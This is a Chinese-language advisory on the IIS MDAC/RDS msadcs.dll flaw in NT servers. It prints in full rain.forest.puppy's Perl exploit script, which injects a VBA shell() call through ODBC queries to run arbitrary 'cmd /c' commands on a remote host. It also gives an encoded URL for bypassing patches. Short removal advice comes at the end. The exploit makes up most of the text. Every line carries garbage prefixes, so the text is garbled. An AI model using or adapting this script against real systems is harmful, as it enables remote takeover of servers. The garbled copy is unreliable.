IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*w&e\i|7 wMn
i 涉及程序：
OXA7w. ^ Microsoft NT server
(=0.i n Z 8tL~FiHb" 描述：
LV Ge]lD 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?< +WG/(d 1Mzmg[L8 详细：
7#XzrT] 如果你没有时间读详细内容的话，就删除:
6Mf0`K c:\Program Files\Common Files\System\Msadc\msadcs.dll
\e*]Ls#jS 有关的安全问题就没有了。
dV_G1' I9Xuok!0>= 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
**%37 jA1 +x:Wq 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
3fj4%P" 关于利用ODBC远程漏洞的描述，请参看:
M3\AY30L ?s01@f# http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zX[U~. 6x`t{g]f, 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
pBHR a?Y5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp J1k>07}| ZK,G v 这里不再论述。
pi(m7Ci" X ?O[r3< 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Wr
4,Y QM VA%J\T|G2\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c 9Mz]1@f 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
BGSw~6 `Di{}/2 {7[Ox<Ho #将下面这段保存为txt文件，然后: "perl -x 文件名"
x2xRBkRg= 5pX6t #!perl
9up3[ F$ #
llq<egZpm # MSADC/RDS 'usage' (aka exploit) script
1 MFbQs^ #
[X kx_B # by rain.forest.puppy
=X }J6|>X #
=;L|gtH" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Rq -ZL{LR7 # beta test and find errors!
VbYdZCC W/N7vAx X use Socket; use Getopt::Std;
8*X4\3:*N getopts("e:vd:h:XR", \%args);
KNl$3nX w0.
u\ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
0- gAyiKx? "+c-pO`Wg if (!defined $args{h} && !defined $args{R}) {
kh<2BOV print qq~
q.vIc
?a Usage: msadc.pl -h <host> { -d <delay> -X -v }
?6!LL5a. -h <host> = host you want to scan (ip or domain)
PT
~D",k -d <seconds> = delay between calls, default 1 second
T{ "(\X$ -X = dump Index Server path table, if available
+@ UV?"d -v = verbose
9r9NxKuAO -e = external dictionary file for step 5
xdPx{"C
3 y =@N|f! Or a -R will resume a command session
l (o~-i\M st*gs-8jJ; ~; exit;}
YSMAd-Ef- ]~-r} `] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
) oZ dj` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
NK+ o1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
6!o1XQr=Z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
xw%0>K[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
<@}9Bid!o if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!>tL6+yj ,4 rPg]r@ if (!defined $args{R}){ $ret = &has_msadc;
2%1hdA< die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}JfjX ' Dq xs+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=Qq+4F)MD . "cmd /c ";
Ac6=(B $in=<STDIN>; chomp $in;
& kIFcd@ $command="cmd /c " . $in ;
2 c}E(8e] AW .F3hN) if (defined $args{R}) {&load; exit;}
0(I j%Wi, i4Jc.8^9$ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)0MB9RMk1 &try_btcustmr;
B!yr!DWv X]=t> print "\nStep 2: Trying to make our own DSN...";
|{;G2G1[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
d-m7 } 2c K,]=6 Rj print "\nStep 3: Trying known DSNs...";
Ru XC(qcq &known_dsn;
ax2B ]L2 "b[5]Y {
U print "\nStep 4: Trying known .mdbs...";
mmsPLv 6 &known_mdb;
67TwPvh BVm0{*-[| if (defined $args{e}){
{*KEP print "\nStep 5: Trying dictionary of DSN names...";
BY*Q_ Et &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
598i^z{~0% Jwp7gYZ print "Sorry Charley...maybe next time?\n";
uEY tE7 exit;
(t.Nk[ X 8|EHb< ##############################################################################
+V+a4lU14 f)!Z~t & sub sendraw { # ripped and modded from whisker
H" KCK6 sleep($delay); # it's a DoS on the server! At least on mine...
07)yG:q*x my ($pstr)=@_;
iLz@5Zj8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*H122njH+T die("Socket problems\n");
h~26WLf. if(connect(S,pack "SnA4x8",2,80,$target)){
#%s#c0TX select(S); $|=1;
G: JR7 N$ print $pstr; my @in=<S>;
q; U,s)Uz^ select(STDOUT); close(S);
:LTN!jj return @in;
GL JMP^p } else { die("Can't connect...\n"); }}
.2pK.$. ca}2TT&t ##############################################################################
{)"vN(mX FqifriLN sub make_header { # make the HTTP request
AEuG v}# my $msadc=<<EOT
[V!tVDs&'o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
4=.so~9odX User-Agent: ACTIVEDATA
]d`VT)~vje Host: $ip
bfO=;S]b! Content-Length: $clen
e%6QTg5# Connection: Keep-Alive
HqTjl4ai 6Iw\c ADCClientVersion:01.06
.KC ++\{HE Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
qVPeB,kIz {^'HL --!ADM!ROX!YOUR!WORLD!
}i2V.tVB- Content-Type: application/x-varg
?}7p"3j'z Content-Length: $reqlen
q9NoI(]e 5coZ|O&f8 EOT
X@f}Q`{Ymj ; $msadc=~s/\n/\r\n/g;
V$~9]*Wn return $msadc;}
I l.K"ll vI]N^ j2% ##############################################################################
MPk5^ua: r GkyGz8> sub make_req { # make the RDS request
PVO v[% my ($switch, $p1, $p2)=@_;
x`?3C"N:< my $req=""; my $t1, $t2, $query, $dsn;
Tf)*4O 4@' c(%|: P^ if ($switch==1){ # this is the btcustmr.mdb query
$SE^S $query="Select * from Customers where City=" . make_shell();
j.kG};f $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
d7i]FV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\;-|-8Q `XB
9Mi= elsif ($switch==2){ # this is general make table query
qw8Rlws% $query="create table AZZ (B int, C varchar(10))";
BB'OCN $dsn="$p1";}
o]:9')5^ J$!iq| elsif ($switch==3){ # this is general exploit table query
Z<phcqEi8 $query="select * from AZZ where C=" . make_shell();
C
$JmzrE $dsn="$p1";}
xvy.=( #,.Hr#3nI elsif ($switch==4){ # attempt to hork file info from index server
]fD}
^s3G $query="select path from scope()";
h} EPnC} $dsn="Provider=MSIDXS;";}
: c[L3rJl Lxk[; j+ elsif ($switch==5){ # bad query
Q^ (b)>?r; $query="select";
mQ=#nk$~g $dsn="$p1";}
[mHdG2X )/EO&F $t1= make_unicode($query);
][] $t2= make_unicode($dsn);
""D 4s $req = "\x02\x00\x03\x00";
W T}H>T $req.= "\x08\x00" . pack ("S1", length($t1));
ukY"+& $req.= "\x00\x00" . $t1 ;
(M
~e?s $req.= "\x08\x00" . pack ("S1", length($t2));
&f;K}W O $req.= "\x00\x00" . $t2 ;
w- {c.x $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
h=%_Ao<x return $req;}
"}JZU!? ^ BL" wk ##############################################################################
V/;B3t~ f i@ BtM9: sub make_shell { # this makes the shell() statement
z"4~P3>{g return "'|shell(\"$command\")|'";}
S[T8T |_ $a %MOKr ##############################################################################
-
CWywu D 0C*7 K?/ sub make_unicode { # quick little function to convert to unicode
-o .:P> / my ($in)=@_; my $out;
Fr$5RAyg for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_]*>*XfF( return $out;}
v<:R# W 8!Qv8rf ##############################################################################
4 N7^? n\.V qe sub rdo_success { # checks for RDO return success (this is kludge)
:Xd<74Nu my (@in) = @_; my $base=content_start(@in);
w8D"CwS1Rx if($in[$base]=~/multipart\/mixed/){
K}U-w:{ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
D #/Bx[ return 0;}
SC])?h-Fw <1COZ) ##############################################################################
vFK<J Sk! <V6VMYXY4 sub make_dsn { # this makes a DSN for us
.eP.& my @drives=("c","d","e","f");
gOOPe5+ J print "\nMaking DSN: ";
M { Q;: foreach $drive (@drives) {
t>B;w14 print "$drive: ";
K: Q< CQ2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
BIWW Mg "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~**.|%Kc . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M+ 9 gL3W $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
aCLq k' return 0 if $2 eq "404"; # not found/doesn't exist
f8.gT49I if($2 eq "200") {
}XM(:|8J, foreach $line (@results) {
yq iq,=OvP return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
lR6x3C
H@ } return 0;}
?#YE`] =6|&Jt ##############################################################################
.Twk {p q,U+ qt sub verify_exists {
(41|'eB\\ my ($page)=@_;
Yr=Y@~ XL my @results=sendraw("GET $page HTTP/1.0\n\n");
DXK}-4"\ return $results[0];}
Ktm4 A O fn 6J *[` ##############################################################################
Y0K [Sm> =+MPFhvg! sub try_btcustmr {
[o5Hl^ my @drives=("c","d","e","f");
3% ;a)c;D my @dirs=("winnt","winnt35","winnt351","win","windows");
4^OY
C ;K &o-y foreach $dir (@dirs) {
cX OK)g# print "$dir -> "; # fun status so you can see progress
f\>M'{cV foreach $drive (@drives) {
6 ez<g
Uf print "$drive: "; # ditto
@)&=% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
tWa) _y $reqlenlen=length( "$reqlen" );
2WVka $clen= 206 + $reqlenlen + $reqlen;
_v=SH$O+ l.bYE/F0& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
58J}{Req if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
T+K ):u g else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
W+X6 @/BO )fSOi| |C ##############################################################################
*zL}&RUKM '9j="R; sub odbc_error {
K_ ~"} my (@in)=@_; my $base;
{_Rr 6 my $base = content_start(@in);
Rn I&8 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`LE6jp3, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.:QLk&a,:, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h P)LY=- 2 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0 C6-GKbZ return $in[$base+4].$in[$base+5].$in[$base+6];}
nd z ]cx print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2M'[ ,Xe print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
2!J&+r $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
pF Rg?- V<uR>TD( ##############################################################################
5 VAK:eB \(Y\|zC'0$ sub verbose {
m~d]a$KQ5- my ($in)=@_;
a^zibPG return if !$verbose;
0dh aAq`k print STDOUT "\n$in\n";}
T
iiW p!mX LS*y ##############################################################################
!F1N~6 f 5Qn
' sub save {
Zk"eA'"\ my ($p1, $p2, $p3, $p4)=@_;
k $J zH$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
kB|B print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/%TI??PGu close OUT;}
v`zJb00 DT VAf1 " )pC ##############################################################################
$79=lEn, _i|t
Y4L sub load {
8'nVwb8I my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
HbA kZP open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Sf7\ ;^ @p=<IN>; close(IN);
72y0/ FJ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
1Z~)RJ< D $target= inet_aton($ip) || die("inet_aton problems");
Qqvihd print "Resuming to $ip ...";
h=k h@}, $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
F,dx2ZPIs? if($p[1]==1) {
DB:+E|vSD $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
X/2 &!O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
aV?@s4 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^T$|J;I if (rdo_success(@results)){print "Success!\n";}
/bi[ e9 R else { print "failed\n"; verbose(odbc_error(@results));}}
*q".-u!D[ elsif ($p[1]==3){
`-l6S if(run_query("$p[3]")){
4V COKx print "Success!\n";} else { print "failed\n"; }}
ie\"$i.98H elsif ($p[1]==4){
An"</;HU if(run_query($drvst . "$p[3]")){
-~ Mb print "Success!\n"; } else { print "failed\n"; }}
zN@ }
#Hk exit;}
.#Z%1U %P. r{ef .^&: ##############################################################################
7-T{a< g 4 G-wd sub create_table {
x`mN U my ($in)=@_;
#=f?0UTA $reqlen=length( make_req(2,$in,"") ) - 28;
dhr3,&+T2 $reqlenlen=length( "$reqlen" );
( ?{MEwHG $clen= 206 + $reqlenlen + $reqlen;
pxf$ 1 my @results=sendraw(make_header() . make_req(2,$in,""));
mfo1+owT return 1 if rdo_success(@results);
i Ae<&Ms my $temp= odbc_error(@results); verbose($temp);
R_7 d@FQ1 return 1 if $temp=~/Table 'AZZ' already exists/;
?5 cI' return 0;}
<U >>ZSi >U*T0FL7 ##############################################################################
Upd3-2kr&J ( %xwl sub known_dsn {
%r6y
;vAf # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
B'EKM)dA my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
rZ^v?4Z\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
aKuSd3E@# "banner", "banners", "ads", "ADCDemo", "ADCTest");
<-S%kA8 aZ'Lx : )R foreach $dSn (@dsns) {
{=QiZWu print ".";
GBFtr next if (!is_access("DSN=$dSn"));
x{c/$+Z[ if(create_table("DSN=$dSn")){
j;3[KLmuK% print "$dSn successful\n";
+g]yA3 if(run_query("DSN=$dSn")){
Qx47l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
FR!? #! print "Something's borked. Use verbose next time\n";}}} print "\n";}
#ap9Yoyk\ e0@Y#7N62 ##############################################################################
[$"n^5_~ xz{IH,?IG sub is_access {
(tG Y%oT" my ($in)=@_;
_b.qkTWUB $reqlen=length( make_req(5,$in,"") ) - 28;
P7MeX(Tay $reqlenlen=length( "$reqlen" );
HcV"X,7S $clen= 206 + $reqlenlen + $reqlen;
jR#~I@q^ my @results=sendraw(make_header() . make_req(5,$in,""));
sx51X^ d my $temp= odbc_error(@results);
G 0; XaL: verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:`2=@ . return 0;}
pd 8Nke deixy.
| ##############################################################################
C h%m 2hQ>: sub run_query {
Vy,^)] my ($in)=@_;
vp crPVA^ $reqlen=length( make_req(3,$in,"") ) - 28;
|7pR)KH3 $reqlenlen=length( "$reqlen" );
0#*#a13 $clen= 206 + $reqlenlen + $reqlen;
o9S+ 6@ my @results=sendraw(make_header() . make_req(3,$in,""));
JA_BK A return 1 if rdo_success(@results);
d)R352 my $temp= odbc_error(@results); verbose($temp);
]B]*/ return 0;}
Css l{B ,SiY;(b=\ ##############################################################################
_fP&&} &gE 75B sub known_mdb {
8Bq!4uq\5| my @drives=("c","d","e","f","g");
u@%r my @dirs=("winnt","winnt35","winnt351","win","windows");
P7f,OY<@%o my $dir, $drive, $mdb;
"y<?Q}1 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
FS b Hn{@ Uyr3dN%*r # this is sparse, because I don't know of many
;kJ A'|GX my @sysmdbs=( "\\catroot\\icatalog.mdb",
$<|l E/_] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
PeE/iZ. "\\system32\\certmdb.mdb",
e=QK}gzX "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
@b3#X@e} D\YE^8/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
T' aec]u "\\cfusion\\cfapps\\forums\\forums_.mdb",
r]Ff{la5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
a9?y`{% L "\\cfusion\\cfapps\\security\\realm_.mdb",
([V V%ovZ
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
!!nuAQ"E[ "\\cfusion\\database\\cfexamples.mdb",
n7YEG- J "\\cfusion\\database\\cfsnippets.mdb",
3o|I[!2. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
tD Cw- "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
<JwX_\?ln "\\cfusion\\brighttiger\\database\\cleam.mdb",
Ep4Hqx $ "\\cfusion\\database\\smpolicy.mdb",
+ EM_TTf4 "\\cfusion\\database\cypress.mdb",
AisN@ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
on7I
l "\\website\\cgi-win\\dbsample.mdb",
q(5+xSg"gK "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
\OpoBXh "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
N9rBW ); #these are just
_ZAch zV foreach $drive (@drives) {
5 Fm=/o1 foreach $dir (@dirs){
>u(>aV|A foreach $mdb (@sysmdbs) {
`ZaT} # Y print ".";
j9/-"dTL if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
LN_OD5gZ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
uGl| pJ\y= if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
U#o'H @ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Fv)7c4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
!"TZ:"VZU 8Z2.`(3c[ foreach $drive (@drives) {
do
^RF<G foreach $mdb (@mdbs) {
\ M/6m^zS print ".";
~/tKMS6T if(create_table($drv . $drive . $dir . $mdb)){
+"g ~"< print "\n" . $drive . $dir . $mdb . " successful\n";
D=)f
)- u' if(run_query($drv . $drive . $dir . $mdb)){
;bX4(CMe
& print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
1 Ee>S\9t } else { print "Something's borked. Use verbose next time\n"; }}}}
3v!~ cC~cI }
k 2%S`/: |k {-l!HI ##############################################################################
YO:&;K% p '{ xoV sub hork_idx {
b r,+45: print "\nAttempting to dump Index Server tables...\n";
r++i=SQax print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0D(cXzQP $reqlen=length( make_req(4,"","") ) - 28;
".~ {:= $reqlenlen=length( "$reqlen" );
b]]N{: I $clen= 206 + $reqlenlen + $reqlen;
| H ;+1 my @results=sendraw2(make_header() . make_req(4,"",""));
.#5 l$[' if (rdo_success(@results)){
i3
)xX@3 my $max=@results; my $c; my %d;
qU[O1bN for($c=19; $c<$max; $c++){
cVq}c? $results[$c]=~s/\x00//g;
Z] :BYX' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
qSO*$1i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
} IlP: $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
YbMssd2Yg $d{"$1$2"}="";}
Nl8 gK{ foreach $c (keys %d){ print "$c\n"; }
{sC=J hs- } else {print "Index server doesn't seem to be installed.\n"; }}
2go> | D.C!/69 ##############################################################################
(3EUy"z- hPufzhT sub dsn_dict {
o+g4p:Mf open(IN, "<$args{e}") || die("Can't open external dictionary\n");
i|\{\d while(<IN>){
f(u&XuZ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?( im+2 next if (!is_access("DSN=$dSn"));
E:VGji7s if(create_table("DSN=$dSn")){
T 0 FZ7 print "$dSn successful\n";
Uk-HP\C"7 if(run_query("DSN=$dSn")){
Z cZ;$* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
zd`=Ih2Wx print "Something's borked. Use verbose next time\n";}}}
BQjam+u6 print "\n"; close(IN);}
t^@T`2jL
` X+j2TmS ##############################################################################
4S *,\ q]q 4=p@2g2 "H sub sendraw2 { # ripped and modded from whisker
c)1=U_6 1 sleep($delay); # it's a DoS on the server! At least on mine...
"oE* 9J?e my ($pstr)=@_;
U4wpjHg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9!t4> die("Socket problems\n");
t ]TyXA r~ if(connect(S,pack "SnA4x8",2,80,$target)){
qB JRS'6'9 print "Connected. Getting data";
Tj,2r]g`< open(OUT,">raw.out"); my @in;
.k ]#XoE select(S); $|=1; print $pstr;
4
10:%WGc while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
r69WD
. close(OUT); select(STDOUT); close(S); return @in;
BQ#jwu0e } else { die("Can't connect...\n"); }}
SLA#= K <PD|_nZT ##############################################################################
YZ[%uArm caD5Pod4 sub content_start { # this will take in the server headers
>0T3 '/k<H my (@in)=@_; my $c;
~N[|bPRmhE for ($c=1;$c<500;$c++) {
!3KPwI, if($in[$c] =~/^\x0d\x0a/){
d8.ajeN]o if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]7F)bIG[ else { return $c+1; }}}
FR' b `Xv: return -1;} # it should never get here actually
x<Se>+
cMtJy"kK ##############################################################################
Fd"WlBYy0 ' PL_~ sub funky {
Th+|* =Il my (@in)=@_; my $error=odbc_error(@in);
dP3VJ3+
% if($error=~/ADO could not find the specified provider/){
<`mOU} 0 ) print "\nServer returned an ADO miscofiguration message\nAborting.\n";
o* ) @oU exit;}
Vw?P.4 if($error=~/A Handler is required/){
3YRB I|XO print "\nServer has custom handler filters (they most likely are patched)\n";
Q=XA"R exit;}
y7;
5xF?q if($error=~/specified Handler has denied Access/){
\I
xzdFF# print "\nServer has custom handler filters (they most likely are patched)\n";
eH
`t \n exit;}}
mdt
?:F4Q 7 FIF St ##############################################################################
L)G">T; 9rWLE6 ` sub has_msadc {
Fi k@hu my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
vK`S!7x'& my $base=content_start(@results);
R]V TV7D return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
[Z% l. return 0;}
FP@ A;/c T/5nu?v ########################
o 5V`'[c %g5jY%dg.r : X|AW?* 解决方案：
>VypE8H]x 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2:n|x5\H 2、移除web 目录: /msadc
